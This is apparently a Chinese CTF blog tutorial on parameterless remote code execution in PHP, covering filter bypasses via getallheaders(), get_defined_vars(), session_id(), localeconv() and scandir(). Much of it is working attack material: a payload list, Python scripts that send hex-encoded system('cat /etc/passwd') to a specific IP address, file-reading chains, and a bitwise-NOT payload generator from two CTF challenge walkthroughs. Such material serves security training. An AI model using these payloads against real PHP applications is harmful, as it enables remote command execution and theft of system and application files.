无参数RCE

函数名称解析

array_reverse()
将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,
就可以少用几个next()
highlight_file()
打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的
chdir()
这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,
因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到
我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir('..')
current(pos) 
current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元
可以配合 数组的指针,倒序,等各种方式找到我们的文件。
getcwd():取得当前工作目录,成功则返回当前工作目录,失败返回 FALSEdirname():返回路径中的目录部分,返回 path 的父目录。 如果在 path 中没有斜线,
  则返回一个点(’.‘),表示当前目录。否则返回的是把 path 中结尾的 /component(最后一个斜线以及后面部分)
  去掉之后的字符串(也就是上级目录的文件路径)chdir():改变目录,成功时返回 TRUE, 或者在失败时返回 FALSEscandir():列出指定路径中的文件和目录。成功则返回包含有文件名的数组,如果失败则返回 FALSE。
  如果 directory 不是个目录,则返回布尔值 FALSE 并生成一条 E_WARNING 级的错误。
array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULLarray_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1)array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,
  就可以根据随机的键获取数组的随机值。
array_flip()array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径

数组操作

  • end() : 将内部指针指向数组中的最后一个元素,并输出
  • next() :将内部指针指向数组中的下一个元素,并输出
  • prev() :将内部指针指向数组中的上一个元素,并输出
  • reset() : 将内部指针指向数组中的第一个元素,并输出
  • each() : 返回当前元素的键名和键值,并将内部指针向前移动

目录操作:

  • getchwd() :函数返回当前工作目录。
  • scandir() :函数返回指定目录中的文件和目录的数组。
  • dirname() :函数返回路径中的目录部分。
  • chdir() :函数改变当前的目录。

无参数RCE,可以使用函数,但是无法往函数里面传入参数 。这样就不能造成命令执行或者文件读取

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval$_GET['code']);
}
?>

image.png
核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这段代码就会被eval执行。而且因为这个正则表达式是递归调用的,所以说像a(b(c()));第一次匹配后就还剩下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c()));就会被eval执行,但相反,像a(b(‘111’));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。

getallheaders() 函数 配合 end函数命令执行

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?> 

image.png
使用上面的匹配规则,这里使用 getallheaders() 函数去绕过
这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

code=var_dump(getallheaders());

image.png
他是可以打印他的头部信息的
但是我们要获取flag ,怎么让他执行了 ,他能获取很多条数据并输出,但是我们只要求要其中一条的数据
这里使用end函数
利用end()函数取出最后一位
image.png
我这里的burp 发送老是超时
可以明显取出最后一位phpinfo了
怎么样才能使用命令执行呢 ? 我们尝试把var_dump换成命令执行函数看看
image.png
成功执行了命令

get_defined_vars()函数

这里函数看起来和上一个差不多的函数 ,上一个存在局限性,只能使用apache 搭建的才能执行。
这个函数不需要是apache搭建的。
来var_dump一下看看他能输出啥
代码还是那个代码
image.png
他会输出我们传入的值,包括POST,GET,COOKIE,FILES 这四个全局变量
然后使用方法和上一个差不多的
我们先看他是否能输出我们传入的值
image.png
我们传入了test。然后他会 传入的值和 变量都输出出来
而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数

code=var_dump(current(get_defined_vars()));&test=11

image.png
输入的11 就是最后一位了,然后就可以使用end函数来获取那个值了
image.png
现在来执行命令
image.png

code=eval(end(current(get_defined_vars())));&test=phpinfo();

这样就成功执行了phpinfo;
image.png

eval(end(current(get_defined_vars())));&test=system("cat /etc/passwd");

这样就造成了命令执行。
如果比赛中过滤了GET POST COOKIE

FILES 变量 getshell

这里使用FILES 进行尝试
image.png

import requests
from io import BytesIO

payload = "system('cat /etc/passwd');".encode().hex()
files = {
  payload: BytesIO(b'sky cool!')
}

r = requests.post('http://47.236.41.52/b.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print(r.content.decode())

直接使用代码

session_id()

image.png
简单来说就是把恶意代码写到COOKIE的PHPSESSID中,然后利用session_id()这个函数去读取它,返回一个字符串,然后我们就可以用eval去直接执行了,这里有一点要注意的就是session_id()要开启session才能用,所以说要先session_start()。

import requests
url = 'http://47.236.41.52/b.php?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode().hex()
cookies = {
	'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print(r.content)

getenv

image.png

虽然getenv()可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题

var_dump(getenv(phpinfo()));

image.png

scandir() 目录函数 读取文件

当前目录:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
以上两个都是随机获取的其实

随机获取当前目录和上一个目录文件 ,但是不解析
image.png

读目录 
dirname(chdir(dirname()))配合切换文件路径
/var/www/html/
当前目录/var/www/html/highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件/var/www/highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
上上级目录文件/var/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd()))))))));
上上上级目录/根目录 :highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

image.png

localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)
image.png
配合scandir()读取当前目录

print_r(scandir(current(localeconv())));

image.png

PAYLOAD列表

var_dump(getenv(phpinfo()));
eval(end(getallheaders()));
eval(end(current(get_defined_vars())));&jiang=phpinfo();
system(next(getallheaders()));


读目录 
dirname(chdir(dirname()))配合切换文件路径
/var/www/html/
当前目录/var/www/html/highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件/var/www/highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
上上级目录文件/var/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd()))))))));
上上上级目录/根目录 :highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));


show_source(current(array_reverse(scandir(getcwd()))));  //倒着读文件内容
show_source(array_rand(array_flip(scandir(getcwd()))));  //随机读取当前目录文件
show_source(array_rand(array_flip(scandir(current(localeconv())))));

print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
上级目录
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
查看根目录
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));
?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));
?flag=readfile('flag.php');&code=eval(implode(reset(get_defined_vars())));
?code=eval(current(array_reverse(current(get_defined_vars()))));&flag=system('cat flag.php')?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag');
?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');
import requests
from io import BytesIO

payload = "system('cat /etc/passwd');".encode().hex()
files = {
  payload: BytesIO(b's111')
}

r = requests.post('http://47.236.41.52/b.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print(r.content.decode())

show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start())); 或者readgzfile();
修改cookie : PHPSESSID= filename

eval(hex2bin(session_id(session_start())));
抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)

列题

[GXYCTF2019]禁止套娃

<?php
  include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
  if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
      if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
        // echo $_GET['exp'];
        @eval($_GET['exp']);
      }
      else{
        die("还差一点哦!");
      }
    }
    else{
      die("再好好想想!");
    }
  }
  else{
    die("还想读flag,臭弟弟!");
  }
}
  // highlight_file(__FILE__);
  ?>
if(isset($_GET['exp'])){
  if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
      if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
        // echo $_GET['exp'];
        @eval($_GET['exp']);

看这一段
第二个if 基本是不能使用伪协议 ,
第三个 if 匹配的和 无参数rce的匹配规则差不多, 限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数。

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) 

第四个if 就是不能包含 匹配的那些内容
然后会执行eval
这里尝试使用 第一个方法

方法1

尝试了 getallheaders 函数提示还差一点
image.png
意思就是过滤_ 所以没有绕过 那个正则
先使用scandir(current(localeconv))读取当前目录的文件
image.png

print_r(array_reverse(scandir(current(localeconv()))));

image.png

print_r(next(array_reverse(scandir(current(localeconv())))));  //下一个值就是flag.php
这样只能输出flag文件名 
高亮显示
highlight_file(next(array_reverse(scandir(current(localeconv())))));

image.png

方法2 session_id

image.png

GET /?exp=readfile(session_id(session_start()))  //读取函数 readfile
Cookie: PHPSESSID=flag.php
上面其他的函数也可以用
highlight_file(session_id(session_start()));
......

image.png

[极客大挑战 2020]Roamphp4-Rceme

image.png
image.png

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

    if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
        die('<script>alert(\'Captcha error~\');history.back()</script>');
    }
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
    $code = $_POST['cmd'];
    if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Longlone not like you~\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
}
?>

来看第一句

if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
        die('<script>alert(\'Captcha error~\');history.back()</script>');
    }

post传的code经过md5加密前五个字符,要等于session的code
他这里已经给出了
image.png
使用脚本 匹配出来 值

import hashlib

i = 0
while True:
    if hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:5] == '29abe':
        print(i)
        break
    i = i+1

image.png
这里的值会变,如果多发送几次就会变。这个已经绕过了 发送payload 的时候再生成就好

    $code = $_POST['cmd'];
    if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Longlone not like you~\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }

取反+无参数rce,长度不能大于70 和包含英文数字,及其他符号

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("
 
"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    print(s)

image.png
使用方法只需要把无参数payload输入进去就会输出取反后的payload
这里使用的payload是常用的第一个输出 head头部的内容
image.png
下一个获取flag

system(next(getallheaders())); //next 是下个值就是 user-agent 的 ,这里也可以自己添加一个值到
最后然后 改为end函数
[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

image.png

https://xz.aliyun.com/t/9360?time__1311=n4%2BxuDgD9DyiGQYDQNDsR3hoaKD%3DkDcDGquuwD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DFp1Z5x2fpVbCvJUJ8f3aU8ewElWBZR9xYIRp-GuaLNg2Sgpn3QMNJA__p4bOh3QF%26wd%3D%26eqid%3D9cc6beea000bb4b80000000665b4c92c
https://blog.csdn.net/weixin_53146913/article/details/124133822
https://xz.aliyun.com/t/10780?time__1311=mq%2BxB7DQ0QnDRDBdPoGkbDk8PD%3DN0tx&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-19
  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值